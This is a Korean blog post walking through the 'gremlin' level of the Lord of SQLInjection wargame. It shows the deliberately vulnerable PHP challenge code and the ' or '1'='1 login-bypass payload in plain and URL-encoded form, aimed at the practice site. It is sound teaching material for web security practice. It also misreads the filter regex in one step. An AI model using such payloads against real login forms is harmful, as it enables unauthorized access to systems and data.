기록하는 공부
[Lord of SQLInjection] gremlin 풀이(웹해킹/web hacking/sql injection/문제풀이) 본문
정보보안/Web Hacking
[Lord of SQLInjection] gremlin 풀이(웹해킹/web hacking/sql injection/문제풀이)
SS_StudySteadily 2024. 8. 23. 14:32728x90
반응형
문제 풀이 사이트
사이트 간략 소개
아래 사이트는 SQL Injection을 풀이할 수 있는 문제 사이트로 순차적으로 풀이하는 사이트이다.
SQL Injection 문제풀이를 원하는 경우 추천한다.
사이트 회원가입/로그인 절차
1. 메인 페이지에서 [enter to the dungeon]을 클릭한다.
2. "Join"을 누르고 회원가입을 진행한다.
id, email, pw만 입력하면 가입 완료가 된다.
3. 회원가입을 완료한 이후 id, pw를 입력하여 로그인을 진행한다.
4. 풀이가 가능한 SQL Injection 문제들이 있으며, 위에서부터 순차적으로 풀이를 진행할 수 있다.
gremlin 문제풀이
1. 문제를 먼저 살펴본다.
사용자로부터 id와 pw값을 입력받고 preg_match() 함수를 사용하여 'No Hack ~_~"이라는 문자열을 출력하는 것 같다.
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("gremlin");
highlight_file(__FILE__);
?>
2. 그렇다면 preg_match() 함수에 대해 알아보자.
preg_match()
- PHP에서 정규식을 사용하여 문자열에서 패턴을 검색하는 데 사용되는 함수
- 주어진 패턴이 문자열에 존재하는지 확인하고, 존재하면 일치하는 부분을 추출
- 기본 문법
int preg_match(string $pattern, string $subject, array &$matches = null, int $flags = 0, int $offset = 0)
# 매개변수 설명
1. $pattern: 검색할 정규식 패턴, 패턴은 슬래시('/')로 감싸야 함.
2. $subject: 검색할 대상 문자열
3. $matches(선택): 일치하는 결과 저장 배열, 첫 번째 요소는 전체 일치, 다음 요소들은 괄호로 묶인 하위 패턴들에 일치하는 값들
4. $flags(선택): 추가 옵션 지정
5. $offset(선택): 검색 시작할 문자열 위치 지정
- 반환값
- 패턴($pattern)과 검색할 대상 문자열($subject)에서 일치하는 패턴이 있으면 1을 반환
- 패턴($pattern)과 검색할 대상 문자열($subject)에서 일치하는 패턴이 없으면 0을 반환
- 에러가 발생한 경우 false 반환
3. 따라서 문제 코드를 해석해 보자면 '_'와 '.' 그리고 '\'이 id 또는 pw 값에 포함되면 "No Hack ~_~"이 출력된다는 뜻이다.
4. 이제 쿼리문을 살펴보자. id 값과 pw 값을 입력받으면 쿼리문에 대입되는 것을 확인할 수 있다.
URL에 id와 pw값을 아무거나 대입해 보자.
$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
- URL로 id, pw값 전달
https://los.rubiya.kr/chall/gremlin_280c5552de8b681110e9287421b834fd.php?id=aaa&pw=bbb
5. id와 pw값이 preg_match() 함수에서 필터링하는 문자 외에는 필터링하지 않는다는 것을 알 수 있기 때문에 SQL Injection 공격을 수행해 볼 수 있다. 공격을 수행해 보자.
query : select id from prob_gremlin where id='1' or '1'='1' and pw='1' or '1'='1'
6. 문제를 해결했다.
- id 값을 True로 만들고 pw값도 True로 만들었다.
- 쿼리문에 그대로 대입이 되어 solve 함수가 호출되며 문제를 해결할 수 있다.
- 대입한 URL
https://los.rubiya.kr/chall/gremlin_280c5552de8b681110e9287421b834fd.php?id=1%27%20or%20%271%27=%271&pw=1%27%20or%20%271%27=%271
728x90
반응형
'정보보안 > Web Hacking' 카테고리의 다른 글
[Bee-box] Broken Authentication - Insecure Login Forms (0) | 2023.12.20 |
---|---|
[Bee-box] Session Management - Administrative Portals (0) | 2023.12.20 |
[Bee-box] vmware에 Bee-box 설치하기 (0) | 2023.12.19 |